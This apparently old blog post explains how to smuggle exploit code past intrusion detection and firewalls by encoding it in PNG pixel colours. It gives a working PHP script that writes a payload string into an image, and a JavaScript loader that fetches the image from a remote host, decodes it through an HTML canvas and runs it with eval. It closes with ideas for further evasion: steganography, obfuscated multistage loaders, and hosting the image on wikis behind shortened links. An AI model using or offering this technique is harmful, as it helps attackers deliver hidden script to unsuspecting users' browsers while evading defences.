Transfering Exploitcode using HTML Canvas

Today, i have to write in english to get this to more readers.

At first... i don't know if this is new, but if it is, then it will be interesting to see, for what it will be used...

Canvas is not very well known. First introduced by Apple and today implemented in browsers like Safari, Opera and Firefox.

For most people, it is only known for generating pictures and 3D Animations. But you can missuse it for bypassing ids, firewalls and so on...

I'm not good at explaining thing, but i will try it ;)

For our example, we don't obfuscate anything!

At first we have to know something about png files. Every pixel is build up from 4 Bytes.

Red, Green, Blue and the Alphachannel. To make it easier, we will only use Red, Green and Blue to store data in it.

The sideeffect of the not used Alphachannel is, that every forth byte, there is something useless in it and your code has some lowlevel obfuscating ;)

At first, we need a code to generate the image which contains the malicious code.

Let's call it **badpicture.php**

```
<?php
// Figure it out by yourself ;)
$strExploit = 'alert("xss");//';

$lngX = 0;
$lngY = 0;

// Make it big enough for your code...
$im = imagecreate(256, 5);

// Now here starts the interesting part
for ($lngPos = 0; $lngPos < strlen($strExploit); $lngPos+=3)
{
  $strByte1 = substr ($strExploit, $lngPos, 1);
  $strByte2 = substr ($strExploit, $lngPos+1, 1);
  $strByte3 = substr ($strExploit, $lngPos+2, 1);

  $objColor = ImageColorAllocate ($im, ord($strByte1), ord($strByte2), ord($strByte3));

  imagesetpixel($im, $lngX, $lngY, $objColor);

  $lngX++;

  if ($lngX >= 128)
  {
    $lngX = 0;
    $lngY++;
  }
}

// And now we send it to the browser
header ("Content-type: image/png");
imagepng($im); // output the stream directly
imagedestroy($im);
?>
```

Ok, Step one is done. What we now need, is a loader. For better reading, i have formated it and put the code in to a html document.

```
<html>
<body>
Nothing here to read...

<script>
var c=document.createElement("canvas");
g=c.getContext("2d");
i=new Image();
i.src="http://domain.tld/badpicture.php";
i.onload=function() {
  g.drawImage(this,0,0);
  o=g.getImageData(0,0,256,5).data;
  eval("d=String.fromCharCode("+o+").replace(/ÿ/g,'')");
  eval(d);
}
</script>

</body>
</html>
```

That's all !

To extend this idea more, think about Steganography, Obfuscating the loader, Multistage Loaders, pre generated pictures with the correct file extension, PNG Compression...

Think about the attack vectors... generate a new entry in a wiki with legal content, with a normal picture (normal vor human eyes) and refer to this picture using tinyurl...

A short note has to be placed... Opera is using a **Same URI Policy**, so you have to do more, than only to generate a picture and place it somewhere. There are ways around it.

And remember... Canvas is part of the HTML 5 specification.